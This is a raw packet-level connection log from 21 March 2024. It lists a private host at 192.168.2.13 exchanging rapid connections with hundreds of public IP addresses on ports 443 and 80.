Mar 21, 2024 05:16:56.479640007 CET	443	43602	210.234.115.116	192.168.2.13
Mar 21, 2024 05:16:56.479644060 CET	443	43602	178.58.219.169	192.168.2.13
Mar 21, 2024 05:16:56.479645967 CET	43602	443	192.168.2.13	79.145.35.178
Mar 21, 2024 05:16:56.479648113 CET	43602	443	192.168.2.13	79.77.16.170
Mar 21, 2024 05:16:56.479648113 CET	443	43602	118.168.202.240	192.168.2.13
Mar 21, 2024 05:16:56.479651928 CET	43602	443	192.168.2.13	42.133.64.215
Mar 21, 2024 05:16:56.479651928 CET	46418	80	192.168.2.13	36.13.112.32
Mar 21, 2024 05:16:56.479651928 CET	43602	443	192.168.2.13	79.16.149.103
Mar 21, 2024 05:16:56.479655027 CET	43602	443	192.168.2.13	42.7.170.62
Mar 21, 2024 05:16:56.479659081 CET	43602	443	192.168.2.13	2.1.255.62
Mar 21, 2024 05:16:56.479661942 CET	443	43602	42.7.170.62	192.168.2.13
Mar 21, 2024 05:16:56.479667902 CET	46418	80	192.168.2.13	44.48.71.216
Mar 21, 2024 05:16:56.479671955 CET	443	43602	79.16.149.103	192.168.2.13
Mar 21, 2024 05:16:56.479672909 CET	46418	80	192.168.2.13	154.204.224.221
Mar 21, 2024 05:16:56.479672909 CET	43602	443	192.168.2.13	42.118.69.95
Mar 21, 2024 05:16:56.479674101 CET	46418	80	192.168.2.13	44.96.69.193
Mar 21, 2024 05:16:56.479674101 CET	43602	443	192.168.2.13	5.104.168.133
Mar 21, 2024 05:16:56.479676962 CET	43602	443	192.168.2.13	178.58.219.169
Mar 21, 2024 05:16:56.479685068 CET	443	43602	5.104.168.133	192.168.2.13
Mar 21, 2024 05:16:56.479686975 CET	43602	443	192.168.2.13	210.234.115.116
Mar 21, 2024 05:16:56.479686975 CET	43602	443	192.168.2.13	118.168.202.240
Mar 21, 2024 05:16:56.479690075 CET	46418	80	192.168.2.13	2.55.232.180
Mar 21, 2024 05:16:56.479692936 CET	43602	443	192.168.2.13	42.7.170.62
Mar 21, 2024 05:16:56.479693890 CET	46418	80	192.168.2.13	194.237.200.44
Mar 21, 2024 05:16:56.479693890 CET	43602	443	192.168.2.13	79.16.149.103
Mar 21, 2024 05:16:56.479712963 CET	43602	443	192.168.2.13	5.104.168.133
Mar 21, 2024 05:16:56.479713917 CET	46418	80	192.168.2.13	151.248.89.8
Mar 21, 2024 05:16:56.479717016 CET	46418	80	192.168.2.13	164.157.212.241
Mar 21, 2024 05:16:56.479720116 CET	46418	80	192.168.2.13	102.222.159.214
Mar 21, 2024 05:16:56.479720116 CET	46418	80	192.168.2.13	219.176.241.9
Mar 21, 2024 05:16:56.479737997 CET	46418	80	192.168.2.13	220.200.209.56
Mar 21, 2024 05:16:56.479737997 CET	46418	80	192.168.2.13	5.222.172.52
Mar 21, 2024 05:16:56.479737997 CET	46418	80	192.168.2.13	62.115.246.37
Mar 21, 2024 05:16:56.479743958 CET	43602	443	192.168.2.13	94.231.35.140
Mar 21, 2024 05:16:56.479747057 CET	43602	443	192.168.2.13	79.182.100.16
Mar 21, 2024 05:16:56.479751110 CET	43602	443	192.168.2.13	79.243.145.137
Mar 21, 2024 05:16:56.479753971 CET	443	43602	79.182.100.16	192.168.2.13
Mar 21, 2024 05:16:56.479754925 CET	443	43602	94.231.35.140	192.168.2.13
Mar 21, 2024 05:16:56.479758024 CET	443	43602	79.243.145.137	192.168.2.13
Mar 21, 2024 05:16:56.479824066 CET	43602	443	192.168.2.13	79.182.100.16
Mar 21, 2024 05:16:56.479842901 CET	43602	443	192.168.2.13	94.231.35.140
Mar 21, 2024 05:16:56.479861975 CET	43602	443	192.168.2.13	5.165.64.26
Mar 21, 2024 05:16:56.479867935 CET	43602	443	192.168.2.13	94.185.178.114
Mar 21, 2024 05:16:56.479868889 CET	443	43602	5.165.64.26	192.168.2.13
Mar 21, 2024 05:16:56.479871035 CET	43602	443	192.168.2.13	79.243.145.137
Mar 21, 2024 05:16:56.479871035 CET	43602	443	192.168.2.13	79.201.179.21
Mar 21, 2024 05:16:56.479881048 CET	443	43602	79.201.179.21	192.168.2.13
Mar 21, 2024 05:16:56.479882002 CET	443	43602	94.185.178.114	192.168.2.13
Mar 21, 2024 05:16:56.479890108 CET	43602	443	192.168.2.13	37.86.64.171
Mar 21, 2024 05:16:56.479893923 CET	43602	443	192.168.2.13	94.219.213.139
Mar 21, 2024 05:16:56.479896069 CET	43602	443	192.168.2.13	2.128.90.29
Mar 21, 2024 05:16:56.479897022 CET	443	43602	37.86.64.171	192.168.2.13
Mar 21, 2024 05:16:56.479901075 CET	443	43602	94.219.213.139	192.168.2.13
Mar 21, 2024 05:16:56.479903936 CET	443	43602	2.128.90.29	192.168.2.13
Mar 21, 2024 05:16:56.479911089 CET	43602	443	192.168.2.13	94.185.63.22
Mar 21, 2024 05:16:56.479911089 CET	43602	443	192.168.2.13	5.165.64.26
Mar 21, 2024 05:16:56.479912043 CET	43602	443	192.168.2.13	79.250.68.103
Mar 21, 2024 05:16:56.479918003 CET	443	43602	94.185.63.22	192.168.2.13
Mar 21, 2024 05:16:56.479918957 CET	443	43602	79.250.68.103	192.168.2.13
Mar 21, 2024 05:16:56.479923964 CET	43602	443	192.168.2.13	94.185.178.114
Mar 21, 2024 05:16:56.479923964 CET	43602	443	192.168.2.13	37.86.64.171
Mar 21, 2024 05:16:56.479927063 CET	43602	443	192.168.2.13	79.201.179.21
Mar 21, 2024 05:16:56.479932070 CET	43602	443	192.168.2.13	109.16.255.35
Mar 21, 2024 05:16:56.479940891 CET	43602	443	192.168.2.13	2.128.90.29
Mar 21, 2024 05:16:56.479942083 CET	43602	443	192.168.2.13	94.219.213.139
Mar 21, 2024 05:16:56.479948044 CET	443	43602	109.16.255.35	192.168.2.13
Mar 21, 2024 05:16:56.479959011 CET	43602	443	192.168.2.13	94.185.63.22
Mar 21, 2024 05:16:56.479960918 CET	46418	80	192.168.2.13	65.218.183.165
Mar 21, 2024 05:16:56.479960918 CET	46418	80	192.168.2.13	205.21.102.252
Mar 21, 2024 05:16:56.479965925 CET	46418	80	192.168.2.13	154.13.84.57
Mar 21, 2024 05:16:56.479965925 CET	46418	80	192.168.2.13	104.152.162.130
Mar 21, 2024 05:16:56.479973078 CET	43602	443	192.168.2.13	118.47.104.166
Mar 21, 2024 05:16:56.479974031 CET	43602	443	192.168.2.13	79.115.129.127
Mar 21, 2024 05:16:56.479979992 CET	443	43602	118.47.104.166	192.168.2.13
Mar 21, 2024 05:16:56.479984999 CET	443	43602	79.115.129.127	192.168.2.13
Mar 21, 2024 05:16:56.479986906 CET	46418	80	192.168.2.13	192.145.60.65
Mar 21, 2024 05:16:56.479986906 CET	43602	443	192.168.2.13	109.16.255.35
Mar 21, 2024 05:16:56.479995012 CET	43602	443	192.168.2.13	79.250.68.103
Mar 21, 2024 05:16:56.479995966 CET	46418	80	192.168.2.13	13.29.172.70
Mar 21, 2024 05:16:56.479995012 CET	46418	80	192.168.2.13	105.121.71.106
Mar 21, 2024 05:16:56.479995012 CET	46418	80	192.168.2.13	157.44.97.175
Mar 21, 2024 05:16:56.479996920 CET	43602	443	192.168.2.13	212.84.215.89
Mar 21, 2024 05:16:56.479996920 CET	43602	443	192.168.2.13	42.137.58.75
Mar 21, 2024 05:16:56.479996920 CET	46418	80	192.168.2.13	2.13.217.250
Mar 21, 2024 05:16:56.480005980 CET	43602	443	192.168.2.13	79.196.54.90
Mar 21, 2024 05:16:56.480006933 CET	46418	80	192.168.2.13	121.235.43.230
Mar 21, 2024 05:16:56.480006933 CET	46418	80	192.168.2.13	140.117.102.94
Mar 21, 2024 05:16:56.480006933 CET	43602	443	192.168.2.13	118.47.104.166
Mar 21, 2024 05:16:56.480011940 CET	443	43602	79.196.54.90	192.168.2.13
Mar 21, 2024 05:16:56.480014086 CET	43602	443	192.168.2.13	79.115.129.127
Mar 21, 2024 05:16:56.480017900 CET	443	43602	212.84.215.89	192.168.2.13
Mar 21, 2024 05:16:56.480019093 CET	46418	80	192.168.2.13	252.210.216.70
Mar 21, 2024 05:16:56.480019093 CET	46418	80	192.168.2.13	192.115.139.230
Mar 21, 2024 05:16:56.480021000 CET	443	43602	42.137.58.75	192.168.2.13
Mar 21, 2024 05:16:56.480021954 CET	46418	80	192.168.2.13	134.236.120.105
Mar 21, 2024 05:16:56.480021954 CET	46418	80	192.168.2.13	33.115.168.181
Mar 21, 2024 05:16:56.480021954 CET	46418	80	192.168.2.13	56.202.24.222
Mar 21, 2024 05:16:56.480046034 CET	43602	443	192.168.2.13	37.216.127.108
Mar 21, 2024 05:16:56.480046988 CET	46418	80	192.168.2.13	189.196.164.37
Mar 21, 2024 05:16:56.480051994 CET	443	43602	37.216.127.108	192.168.2.13
Mar 21, 2024 05:16:56.480053902 CET	46418	80	192.168.2.13	219.53.5.133
Mar 21, 2024 05:16:56.480068922 CET	46418	80	192.168.2.13	252.64.45.155
Mar 21, 2024 05:16:56.480068922 CET	46418	80	192.168.2.13	63.36.213.233
Mar 21, 2024 05:16:56.480068922 CET	43602	443	192.168.2.13	109.192.41.99
Mar 21, 2024 05:16:56.480071068 CET	43602	443	192.168.2.13	94.43.231.147
Mar 21, 2024 05:16:56.480071068 CET	43602	443	192.168.2.13	178.149.38.80
Mar 21, 2024 05:16:56.480072021 CET	43602	443	192.168.2.13	178.183.177.174
Mar 21, 2024 05:16:56.480072021 CET	43602	443	192.168.2.13	79.196.54.90
Mar 21, 2024 05:16:56.480072975 CET	46418	80	192.168.2.13	200.233.62.114
Mar 21, 2024 05:16:56.480072021 CET	46418	80	192.168.2.13	191.78.233.147
Mar 21, 2024 05:16:56.480071068 CET	43602	443	192.168.2.13	109.86.179.45
Mar 21, 2024 05:16:56.480072975 CET	43602	443	192.168.2.13	2.167.48.151
Mar 21, 2024 05:16:56.480076075 CET	46418	80	192.168.2.13	199.219.46.23
Mar 21, 2024 05:16:56.480072975 CET	46418	80	192.168.2.13	192.42.244.253
Mar 21, 2024 05:16:56.480076075 CET	46418	80	192.168.2.13	169.127.83.13
Mar 21, 2024 05:16:56.480079889 CET	443	43602	109.192.41.99	192.168.2.13
Mar 21, 2024 05:16:56.480082035 CET	443	43602	178.183.177.174	192.168.2.13
Mar 21, 2024 05:16:56.480083942 CET	443	43602	94.43.231.147	192.168.2.13
Mar 21, 2024 05:16:56.480086088 CET	43602	443	192.168.2.13	118.230.10.6
Mar 21, 2024 05:16:56.480087996 CET	443	43602	178.149.38.80	192.168.2.13
Mar 21, 2024 05:16:56.480089903 CET	43602	443	192.168.2.13	212.84.215.89
Mar 21, 2024 05:16:56.480089903 CET	43602	443	192.168.2.13	42.137.58.75
Mar 21, 2024 05:16:56.480093956 CET	443	43602	2.167.48.151	192.168.2.13
Mar 21, 2024 05:16:56.480094910 CET	443	43602	118.230.10.6	192.168.2.13
Mar 21, 2024 05:16:56.480096102 CET	43602	443	192.168.2.13	37.216.127.108
Mar 21, 2024 05:16:56.480098963 CET	443	43602	109.86.179.45	192.168.2.13
Mar 21, 2024 05:16:56.480113983 CET	43602	443	192.168.2.13	94.211.34.205
Mar 21, 2024 05:16:56.480118990 CET	43602	443	192.168.2.13	109.192.41.99
Mar 21, 2024 05:16:56.480124950 CET	443	43602	94.211.34.205	192.168.2.13
Mar 21, 2024 05:16:56.480125904 CET	43602	443	192.168.2.13	94.43.231.147
Mar 21, 2024 05:16:56.480125904 CET	43602	443	192.168.2.13	178.149.38.80
Mar 21, 2024 05:16:56.480129957 CET	43602	443	192.168.2.13	178.183.177.174
Mar 21, 2024 05:16:56.480129957 CET	43602	443	192.168.2.13	2.167.48.151
Mar 21, 2024 05:16:56.480138063 CET	43602	443	192.168.2.13	118.230.10.6
Mar 21, 2024 05:16:56.480138063 CET	43602	443	192.168.2.13	178.125.41.218
Mar 21, 2024 05:16:56.480144024 CET	43602	443	192.168.2.13	109.86.179.45
Mar 21, 2024 05:16:56.480144978 CET	43602	443	192.168.2.13	210.212.17.53
Mar 21, 2024 05:16:56.480145931 CET	46418	80	192.168.2.13	97.235.105.214
Mar 21, 2024 05:16:56.480145931 CET	43602	443	192.168.2.13	178.18.73.218
Mar 21, 2024 05:16:56.480154991 CET	443	43602	210.212.17.53	192.168.2.13
Mar 21, 2024 05:16:56.480155945 CET	43602	443	192.168.2.13	210.6.111.200
Mar 21, 2024 05:16:56.480155945 CET	43602	443	192.168.2.13	94.90.239.54
Mar 21, 2024 05:16:56.480156898 CET	443	43602	178.18.73.218	192.168.2.13
Mar 21, 2024 05:16:56.480161905 CET	43602	443	192.168.2.13	94.211.34.205
Mar 21, 2024 05:16:56.480163097 CET	443	43602	178.125.41.218	192.168.2.13
Mar 21, 2024 05:16:56.480165005 CET	443	43602	210.6.111.200	192.168.2.13
Mar 21, 2024 05:16:56.480168104 CET	443	43602	94.90.239.54	192.168.2.13
Mar 21, 2024 05:16:56.480168104 CET	43602	443	192.168.2.13	118.44.124.35
Mar 21, 2024 05:16:56.480168104 CET	43602	443	192.168.2.13	118.208.87.221
Mar 21, 2024 05:16:56.480169058 CET	46418	80	192.168.2.13	209.35.193.251
Mar 21, 2024 05:16:56.480168104 CET	46418	80	192.168.2.13	183.94.145.1
Mar 21, 2024 05:16:56.480169058 CET	46418	80	192.168.2.13	29.191.39.169
Mar 21, 2024 05:16:56.480170012 CET	43602	443	192.168.2.13	118.200.22.237
Mar 21, 2024 05:16:56.480170965 CET	46418	80	192.168.2.13	24.12.65.198
Mar 21, 2024 05:16:56.480170012 CET	43602	443	192.168.2.13	5.82.119.36
Mar 21, 2024 05:16:56.480170965 CET	46418	80	192.168.2.13	86.113.165.95
Mar 21, 2024 05:16:56.480176926 CET	443	43602	118.44.124.35	192.168.2.13
Mar 21, 2024 05:16:56.480178118 CET	443	43602	118.208.87.221	192.168.2.13
Mar 21, 2024 05:16:56.480181932 CET	43602	443	192.168.2.13	37.1.250.238
Mar 21, 2024 05:16:56.480181932 CET	46418	80	192.168.2.13	72.240.54.151
Mar 21, 2024 05:16:56.480185032 CET	443	43602	118.200.22.237	192.168.2.13
Mar 21, 2024 05:16:56.480189085 CET	443	43602	5.82.119.36	192.168.2.13
Mar 21, 2024 05:16:56.480189085 CET	46418	80	192.168.2.13	184.145.232.96
Mar 21, 2024 05:16:56.480190992 CET	43602	443	192.168.2.13	178.123.240.239
Mar 21, 2024 05:16:56.480190992 CET	46418	80	192.168.2.13	15.136.211.250
Mar 21, 2024 05:16:56.480192900 CET	443	43602	37.1.250.238	192.168.2.13
Mar 21, 2024 05:16:56.480199099 CET	443	43602	178.123.240.239	192.168.2.13
Mar 21, 2024 05:16:56.480201006 CET	43602	443	192.168.2.13	94.90.239.54
Mar 21, 2024 05:16:56.480206013 CET	46418	80	192.168.2.13	246.197.129.209
Mar 21, 2024 05:16:56.480209112 CET	43602	443	192.168.2.13	210.6.111.200
Mar 21, 2024 05:16:56.480215073 CET	43602	443	192.168.2.13	178.125.41.218
Mar 21, 2024 05:16:56.480206966 CET	43602	443	192.168.2.13	210.212.17.53
Mar 21, 2024 05:16:56.480214119 CET	43602	443	192.168.2.13	178.18.73.218
Mar 21, 2024 05:16:56.480225086 CET	43602	443	192.168.2.13	118.208.87.221
Mar 21, 2024 05:16:56.480227947 CET	43602	443	192.168.2.13	118.200.22.237
Mar 21, 2024 05:16:56.480228901 CET	43602	443	192.168.2.13	118.44.124.35
Mar 21, 2024 05:16:56.480228901 CET	43602	443	192.168.2.13	37.1.250.238
Mar 21, 2024 05:16:56.480236053 CET	43602	443	192.168.2.13	5.82.119.36
Mar 21, 2024 05:16:56.480240107 CET	43602	443	192.168.2.13	178.123.240.239
Mar 21, 2024 05:16:56.480247974 CET	43602	443	192.168.2.13	109.101.50.159
Mar 21, 2024 05:16:56.480247974 CET	46418	80	192.168.2.13	215.93.190.89
Mar 21, 2024 05:16:56.480247974 CET	46418	80	192.168.2.13	191.27.128.145
Mar 21, 2024 05:16:56.480251074 CET	43602	443	192.168.2.13	79.107.130.199
Mar 21, 2024 05:16:56.480256081 CET	46418	80	192.168.2.13	210.110.50.140
Mar 21, 2024 05:16:56.480257034 CET	46418	80	192.168.2.13	254.4.36.95
Mar 21, 2024 05:16:56.480257034 CET	46418	80	192.168.2.13	75.174.121.148
Mar 21, 2024 05:16:56.480258942 CET	46418	80	192.168.2.13	91.229.159.134
Mar 21, 2024 05:16:56.480258942 CET	443	43602	79.107.130.199	192.168.2.13
Mar 21, 2024 05:16:56.480258942 CET	43602	443	192.168.2.13	42.69.220.46
Mar 21, 2024 05:16:56.480258942 CET	43602	443	192.168.2.13	118.69.136.200
Mar 21, 2024 05:16:56.480258942 CET	443	43602	109.101.50.159	192.168.2.13
Mar 21, 2024 05:16:56.480262995 CET	43602	443	192.168.2.13	212.143.100.179
Mar 21, 2024 05:16:56.480262995 CET	43602	443	192.168.2.13	79.22.49.165
Mar 21, 2024 05:16:56.480262995 CET	46418	80	192.168.2.13	99.99.64.31
Mar 21, 2024 05:16:56.480269909 CET	443	43602	118.69.136.200	192.168.2.13
Mar 21, 2024 05:16:56.480272055 CET	443	43602	42.69.220.46	192.168.2.13
Mar 21, 2024 05:16:56.480274916 CET	43602	443	192.168.2.13	79.246.245.255
Mar 21, 2024 05:16:56.480274916 CET	43602	443	192.168.2.13	37.146.200.115
Mar 21, 2024 05:16:56.480276108 CET	443	43602	79.22.49.165	192.168.2.13
Mar 21, 2024 05:16:56.480277061 CET	46418	80	192.168.2.13	4.93.50.235
Mar 21, 2024 05:16:56.480276108 CET	443	43602	212.143.100.179	192.168.2.13
Mar 21, 2024 05:16:56.480274916 CET	43602	443	192.168.2.13	118.225.102.167
Mar 21, 2024 05:16:56.480282068 CET	443	43602	79.246.245.255	192.168.2.13
Mar 21, 2024 05:16:56.480287075 CET	46418	80	192.168.2.13	21.124.86.229
Mar 21, 2024 05:16:56.480287075 CET	46418	80	192.168.2.13	74.86.84.129
Mar 21, 2024 05:16:56.480287075 CET	43602	443	192.168.2.13	212.206.224.141
Mar 21, 2024 05:16:56.480288029 CET	443	43602	37.146.200.115	192.168.2.13
Mar 21, 2024 05:16:56.480289936 CET	43602	443	192.168.2.13	109.129.106.204
Mar 21, 2024 05:16:56.480290890 CET	43602	443	192.168.2.13	42.171.162.144
Mar 21, 2024 05:16:56.480290890 CET	46418	80	192.168.2.13	240.9.207.164
Mar 21, 2024 05:16:56.480293036 CET	46418	80	192.168.2.13	88.21.15.167
Mar 21, 2024 05:16:56.480294943 CET	46418	80	192.168.2.13	48.210.136.135
Mar 21, 2024 05:16:56.480297089 CET	46418	80	192.168.2.13	35.42.58.41
Mar 21, 2024 05:16:56.480297089 CET	43602	443	192.168.2.13	109.101.50.159
Mar 21, 2024 05:16:56.480298996 CET	443	43602	118.225.102.167	192.168.2.13
Mar 21, 2024 05:16:56.480304003 CET	443	43602	109.129.106.204	192.168.2.13
Mar 21, 2024 05:16:56.480305910 CET	443	43602	212.206.224.141	192.168.2.13
Mar 21, 2024 05:16:56.480308056 CET	43602	443	192.168.2.13	118.69.136.200
Mar 21, 2024 05:16:56.480313063 CET	443	43602	42.171.162.144	192.168.2.13
Mar 21, 2024 05:16:56.480315924 CET	43602	443	192.168.2.13	79.107.130.199
Mar 21, 2024 05:16:56.480317116 CET	46418	80	192.168.2.13	161.92.94.242
Mar 21, 2024 05:16:56.480319023 CET	43602	443	192.168.2.13	79.22.49.165
Mar 21, 2024 05:16:56.480319977 CET	43602	443	192.168.2.13	79.246.245.255
Mar 21, 2024 05:16:56.480319023 CET	43602	443	192.168.2.13	212.143.100.179
Mar 21, 2024 05:16:56.480325937 CET	43602	443	192.168.2.13	37.146.200.115
Mar 21, 2024 05:16:56.480325937 CET	43602	443	192.168.2.13	118.225.102.167
Mar 21, 2024 05:16:56.480326891 CET	43602	443	192.168.2.13	42.69.220.46
Mar 21, 2024 05:16:56.480336905 CET	43602	443	192.168.2.13	212.206.224.141
Mar 21, 2024 05:16:56.480338097 CET	46418	80	192.168.2.13	160.167.20.194
Mar 21, 2024 05:16:56.480338097 CET	46418	80	192.168.2.13	74.93.17.254
Mar 21, 2024 05:16:56.480346918 CET	43602	443	192.168.2.13	109.129.106.204
Mar 21, 2024 05:16:56.480353117 CET	46418	80	192.168.2.13	2.214.184.236
Mar 21, 2024 05:16:56.480354071 CET	43602	443	192.168.2.13	178.221.239.155
Mar 21, 2024 05:16:56.480354071 CET	46418	80	192.168.2.13	120.157.235.35
Mar 21, 2024 05:16:56.480355978 CET	43602	443	192.168.2.13	42.171.162.144
Mar 21, 2024 05:16:56.480359077 CET	46418	80	192.168.2.13	247.101.80.118
Mar 21, 2024 05:16:56.480362892 CET	443	43602	178.221.239.155	192.168.2.13
Mar 21, 2024 05:16:56.480365038 CET	46418	80	192.168.2.13	105.77.24.239
Mar 21, 2024 05:16:56.480379105 CET	43602	443	192.168.2.13	94.140.168.35
Mar 21, 2024 05:16:56.480380058 CET	43602	443	192.168.2.13	37.165.132.108
Mar 21, 2024 05:16:56.480380058 CET	43602	443	192.168.2.13	212.45.53.82
Mar 21, 2024 05:16:56.480381966 CET	46418	80	192.168.2.13	206.108.202.131
Mar 21, 2024 05:16:56.480381966 CET	46418	80	192.168.2.13	119.30.171.191
Mar 21, 2024 05:16:56.480386019 CET	443	43602	94.140.168.35	192.168.2.13
Mar 21, 2024 05:16:56.480386019 CET	443	43602	37.165.132.108	192.168.2.13
Mar 21, 2024 05:16:56.480397940 CET	443	43602	212.45.53.82	192.168.2.13
Mar 21, 2024 05:16:56.480396986 CET	43602	443	192.168.2.13	118.150.116.152
Mar 21, 2024 05:16:56.480398893 CET	43602	443	192.168.2.13	37.251.230.198
Mar 21, 2024 05:16:56.480405092 CET	443	43602	37.251.230.198	192.168.2.13
Mar 21, 2024 05:16:56.480406046 CET	443	43602	118.150.116.152	192.168.2.13
Mar 21, 2024 05:16:56.480410099 CET	43602	443	192.168.2.13	178.221.239.155
Mar 21, 2024 05:16:56.480415106 CET	43602	443	192.168.2.13	5.72.207.251
Mar 21, 2024 05:16:56.480424881 CET	443	43602	5.72.207.251	192.168.2.13
Mar 21, 2024 05:16:56.480432034 CET	43602	443	192.168.2.13	37.165.132.108
Mar 21, 2024 05:16:56.480433941 CET	43602	443	192.168.2.13	94.140.168.35
Mar 21, 2024 05:16:56.480439901 CET	43602	443	192.168.2.13	212.45.53.82
Mar 21, 2024 05:16:56.480439901 CET	43602	443	192.168.2.13	37.48.93.9
Mar 21, 2024 05:16:56.480442047 CET	43602	443	192.168.2.13	118.150.116.152
Mar 21, 2024 05:16:56.480443954 CET	43602	443	192.168.2.13	37.251.230.198
Mar 21, 2024 05:16:56.480446100 CET	443	43602	37.48.93.9	192.168.2.13
Mar 21, 2024 05:16:56.480452061 CET	43602	443	192.168.2.13	5.72.207.251
Mar 21, 2024 05:16:56.480458021 CET	43602	443	192.168.2.13	79.239.223.78
Mar 21, 2024 05:16:56.480458975 CET	43602	443	192.168.2.13	109.116.8.221
Mar 21, 2024 05:16:56.480464935 CET	443	43602	79.239.223.78	192.168.2.13
Mar 21, 2024 05:16:56.480464935 CET	443	43602	109.116.8.221	192.168.2.13
Mar 21, 2024 05:16:56.480464935 CET	43602	443	192.168.2.13	5.2.192.189
Mar 21, 2024 05:16:56.480472088 CET	443	43602	5.2.192.189	192.168.2.13
Mar 21, 2024 05:16:56.480475903 CET	46418	80	192.168.2.13	134.207.54.97
Mar 21, 2024 05:16:56.480484009 CET	43602	443	192.168.2.13	37.48.93.9
Mar 21, 2024 05:16:56.480484009 CET	46418	80	192.168.2.13	168.79.15.104
Mar 21, 2024 05:16:56.480484009 CET	43602	443	192.168.2.13	2.53.235.167
Mar 21, 2024 05:16:56.480484962 CET	46418	80	192.168.2.13	163.127.201.201
Mar 21, 2024 05:16:56.480485916 CET	46418	80	192.168.2.13	73.40.229.228
Mar 21, 2024 05:16:56.480484962 CET	43602	443	192.168.2.13	94.102.117.163
Mar 21, 2024 05:16:56.480485916 CET	46418	80	192.168.2.13	144.1.155.209
Mar 21, 2024 05:16:56.480484962 CET	43602	443	192.168.2.13	178.36.235.165
Mar 21, 2024 05:16:56.480485916 CET	46418	80	192.168.2.13	21.52.195.243
Mar 21, 2024 05:16:56.480492115 CET	43602	443	192.168.2.13	79.239.223.78
Mar 21, 2024 05:16:56.480498075 CET	443	43602	2.53.235.167	192.168.2.13
Mar 21, 2024 05:16:56.480500937 CET	43602	443	192.168.2.13	37.173.93.77
Mar 21, 2024 05:16:56.480501890 CET	46418	80	192.168.2.13	95.64.34.145
Mar 21, 2024 05:16:56.480503082 CET	443	43602	94.102.117.163	192.168.2.13
Mar 21, 2024 05:16:56.480506897 CET	443	43602	37.173.93.77	192.168.2.13
Mar 21, 2024 05:16:56.480513096 CET	443	43602	178.36.235.165	192.168.2.13
Mar 21, 2024 05:16:56.480515003 CET	43602	443	192.168.2.13	5.2.192.189
Mar 21, 2024 05:16:56.480515003 CET	46418	80	192.168.2.13	101.74.123.4
Mar 21, 2024 05:16:56.480516911 CET	43602	443	192.168.2.13	109.116.8.221
Mar 21, 2024 05:16:56.480516911 CET	46418	80	192.168.2.13	72.80.208.161
Mar 21, 2024 05:16:56.480529070 CET	43602	443	192.168.2.13	2.243.133.62
Mar 21, 2024 05:16:56.480535030 CET	443	43602	2.243.133.62	192.168.2.13
Mar 21, 2024 05:16:56.480542898 CET	43602	443	192.168.2.13	2.53.235.167
Mar 21, 2024 05:16:56.480542898 CET	43602	443	192.168.2.13	37.173.93.77
Mar 21, 2024 05:16:56.480552912 CET	43602	443	192.168.2.13	94.102.117.163
Mar 21, 2024 05:16:56.480552912 CET	43602	443	192.168.2.13	178.36.235.165
Mar 21, 2024 05:16:56.480561972 CET	43602	443	192.168.2.13	118.166.160.93
Mar 21, 2024 05:16:56.480566978 CET	46418	80	192.168.2.13	28.145.84.21
Mar 21, 2024 05:16:56.480571032 CET	443	43602	118.166.160.93	192.168.2.13
Mar 21, 2024 05:16:56.480571985 CET	43602	443	192.168.2.13	37.129.121.93
Mar 21, 2024 05:16:56.480571985 CET	43602	443	192.168.2.13	210.193.211.150
Mar 21, 2024 05:16:56.480575085 CET	46418	80	192.168.2.13	115.224.212.35
Mar 21, 2024 05:16:56.480576038 CET	43602	443	192.168.2.13	37.204.128.17
Mar 21, 2024 05:16:56.480578899 CET	46418	80	192.168.2.13	89.18.40.138
Mar 21, 2024 05:16:56.480580091 CET	443	43602	37.129.121.93	192.168.2.13
Mar 21, 2024 05:16:56.480578899 CET	43602	443	192.168.2.13	210.62.129.112
Mar 21, 2024 05:16:56.480578899 CET	46418	80	192.168.2.13	196.86.2.147
Mar 21, 2024 05:16:56.480578899 CET	43602	443	192.168.2.13	37.162.190.158
Mar 21, 2024 05:16:56.480583906 CET	443	43602	37.204.128.17	192.168.2.13
Mar 21, 2024 05:16:56.480583906 CET	46418	80	192.168.2.13	146.166.74.79
Mar 21, 2024 05:16:56.480586052 CET	43602	443	192.168.2.13	2.243.133.62
Mar 21, 2024 05:16:56.480588913 CET	443	43602	210.193.211.150	192.168.2.13
Mar 21, 2024 05:16:56.480592966 CET	443	43602	210.62.129.112	192.168.2.13
Mar 21, 2024 05:16:56.480596066 CET	43602	443	192.168.2.13	2.28.235.150
Mar 21, 2024 05:16:56.480597019 CET	43602	443	192.168.2.13	118.12.202.106
Mar 21, 2024 05:16:56.480601072 CET	46418	80	192.168.2.13	141.119.159.195
Mar 21, 2024 05:16:56.480601072 CET	443	43602	37.162.190.158	192.168.2.13
Mar 21, 2024 05:16:56.480608940 CET	443	43602	118.12.202.106	192.168.2.13
Mar 21, 2024 05:16:56.480608940 CET	443	43602	2.28.235.150	192.168.2.13
Mar 21, 2024 05:16:56.480609894 CET	46418	80	192.168.2.13	213.170.11.212
Mar 21, 2024 05:16:56.480608940 CET	46418	80	192.168.2.13	203.253.186.218
Mar 21, 2024 05:16:56.480608940 CET	43602	443	192.168.2.13	210.135.61.194
Mar 21, 2024 05:16:56.480608940 CET	46418	80	192.168.2.13	42.56.70.251
Mar 21, 2024 05:16:56.480618954 CET	43602	443	192.168.2.13	94.104.247.194
Mar 21, 2024 05:16:56.480618954 CET	43602	443	192.168.2.13	37.129.121.93
Mar 21, 2024 05:16:56.480623960 CET	443	43602	210.135.61.194	192.168.2.13
Mar 21, 2024 05:16:56.480624914 CET	43602	443	192.168.2.13	94.90.93.188
Mar 21, 2024 05:16:56.480628014 CET	443	43602	94.104.247.194	192.168.2.13
Mar 21, 2024 05:16:56.480628014 CET	43602	443	192.168.2.13	37.204.128.17
Mar 21, 2024 05:16:56.480628014 CET	46418	80	192.168.2.13	190.3.81.82
Mar 21, 2024 05:16:56.480632067 CET	43602	443	192.168.2.13	2.126.27.155
Mar 21, 2024 05:16:56.480632067 CET	43602	443	192.168.2.13	5.74.109.20
Mar 21, 2024 05:16:56.480633020 CET	443	43602	94.90.93.188	192.168.2.13
Mar 21, 2024 05:16:56.480635881 CET	46418	80	192.168.2.13	95.183.31.247
Mar 21, 2024 05:16:56.480637074 CET	43602	443	192.168.2.13	118.166.160.93
Mar 21, 2024 05:16:56.480640888 CET	443	43602	2.126.27.155	192.168.2.13
Mar 21, 2024 05:16:56.480645895 CET	443	43602	5.74.109.20	192.168.2.13
Mar 21, 2024 05:16:56.480649948 CET	43602	443	192.168.2.13	2.28.235.150
Mar 21, 2024 05:16:56.480657101 CET	46418	80	192.168.2.13	170.115.46.121
Mar 21, 2024 05:16:56.480657101 CET	43602	443	192.168.2.13	118.12.202.106
Mar 21, 2024 05:16:56.480659008 CET	43602	443	192.168.2.13	210.193.211.150
Mar 21, 2024 05:16:56.480659962 CET	43602	443	192.168.2.13	210.62.129.112
